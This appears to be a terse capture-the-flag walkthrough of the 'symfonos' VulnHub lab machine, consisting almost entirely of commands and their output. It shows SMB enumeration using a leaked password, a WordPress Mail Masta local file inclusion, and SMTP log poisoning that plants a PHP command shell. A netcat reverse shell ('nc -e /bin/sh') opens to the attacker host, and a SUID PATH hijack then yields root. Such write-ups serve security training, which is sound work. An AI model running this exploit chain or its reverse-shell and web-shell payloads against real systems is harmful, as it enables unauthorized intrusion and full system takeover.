SMBMAP

SMBCLIENT

WPSSCAN

VANE (FOR PLUGINS)

SMTP POISONING (CMD BACKDOOR)

SBIN TO ROOT

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
|   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after:  2029-06-26T00:29:42
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:80:A9:B2 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
```

```
Network Distance: 1 hop

Service Info: Host:  symfonos.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://symfonos/manual/en/index.html

Apache HTTP Server Version 2.4 Documentation

root@akg:/home/akg/Desktop/vulnhub/symfonos# smbmap -H symfonos

[+] Attempting to map shares on 10.10.10.27

//10.10.10.27/print$    Mapping: DENIED, Listing: N/A

//10.10.10.27/helios    Mapping: DENIED, Listing: N/A

//10.10.10.27/anonymous Mapping: OK, Listing: OK

//10.10.10.27/IPC$      [E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

root@akg:/home/akg/Desktop/vulnhub/symfonos# smbclient -U "" //symfonos/anonymous

smb: \> get attention.txt

root@akg:/home/akg/Desktop/vulnhub/symfonos# cat attention.txt


Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!


Next person I find using one of these passwords will be fired!


-Zeus

root@kali:/home/kali/Desktop/vulnhub/symfonos# smbclient -U helios //symfonos/helios

qwerty

smb: \> get research.txt

getting file \research.txt of size 432 as research.txt (46.9 KiloBytes/sec) (average 46.9 KiloBytes/sec)

smb: \> get todo.txt

getting file \todo.txt of size 52 as todo.txt (6.3 KiloBytes/sec) (average 27.8 KiloBytes/sec)

root@akg:/home/akg/Desktop/vulnhub/symfonos# cat todo.txt


1. Binge watch Dexter

2. Dance

3. Work on /h3l105
```

http://symfonos.localdomain/h3l105/

```
root@akg:/home/akg/Desktop/vulnhub/symfonos# wpscan --url http://symfonos.localdomain/h3l105/ --enumerate p

root@akg:/home/akg/Desktop/tools/vane# ruby vane.rb --url http://symfonos.localdomain/h3l105/ --enumerate p


[+] Name: akismet - v4.1.2

 |  Location: http://symfonos.localdomain/h3l105/wp-content/plugins/akismet/

 |  Readme: http://symfonos.localdomain/h3l105/wp-content/plugins/akismet/readme.txt


[+] Name: mail-masta - v1.0
```

```
root@kali:/home/kali/Desktop/tools/vane# searchsploit mail masta

Exploit Title                                          |  Path

-------------------------------------------------------------------------------- ----------------------------------

WordPress Plugin Mail Masta 1.0 - Local File Inclusion                    | php/webapps/40290.txt

WordPress Plugin Mail Masta 1.0 - SQL Injection                         | php/webapps/41438.txt
```

https://www.exploit-db.com/exploits/40290

http://symfonos.localdomain/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

SMTP

```
root@akg:/home/akg/Desktop/vulnhub/symfonos# telnet 192.168.2.172 25

MAIL FROM: <akg>

250 2.1.0 Ok

RCPT TO: Helios

250 2.1.5 Ok

data

354 End data with <CR><LF>.<CR><LF>

<?php system($_GET['c']); ?>

.
```

http://symfonos.localdomain/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id

http://symfonos.localdomain/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc%20-e%20/bin/sh%20192.168.2.158%201234

```
nc –nlvp 1234
```

SHELL GAINED!!!!

```
helios@symfonos:/home$ find / -perm -u=s -type f 2>/dev/null (CHECK SUID)

/usr/lib/eject/dmcrypt-get-device

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/openssh/ssh-keysign

/usr/bin/passwd

/usr/bin/gpasswd

/usr/bin/newgrp

/usr/bin/chsh

/usr/bin/chfn

/opt/statuscheck

/bin/mount

/bin/umount

/bin/su

/bin/ping
```

```
helios@symfonos:/home$ strings /opt/statuscheck

/lib64/ld-linux-x86-64.so.2

libc.so.6

system

__cxa_finalize

__libc_start_main

_ITM_deregisterTMCloneTable

__gmon_start__

_Jv_RegisterClasses

_ITM_registerTMCloneTable

GLIBC_2.2.5

curl -I H

http://lH
```

```
ocalhostH
AWAVA
AUATL
[]A\A]A^A_
;*3$"
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6972
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
prog.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
```

```
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
```

```
.got.plt

.data

.bss

.comment
```

```
helios@symfonos:/tmp$ echo "/bin/sh" > curl

helios@symfonos:/tmp$ chmod 777 curl

helios@symfonos:/tmp$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

helios@symfonos:/tmp$ export PATH=/tmp:$PATH

helios@symfonos:/tmp$ /opt/statuscheck

# whoami

root
```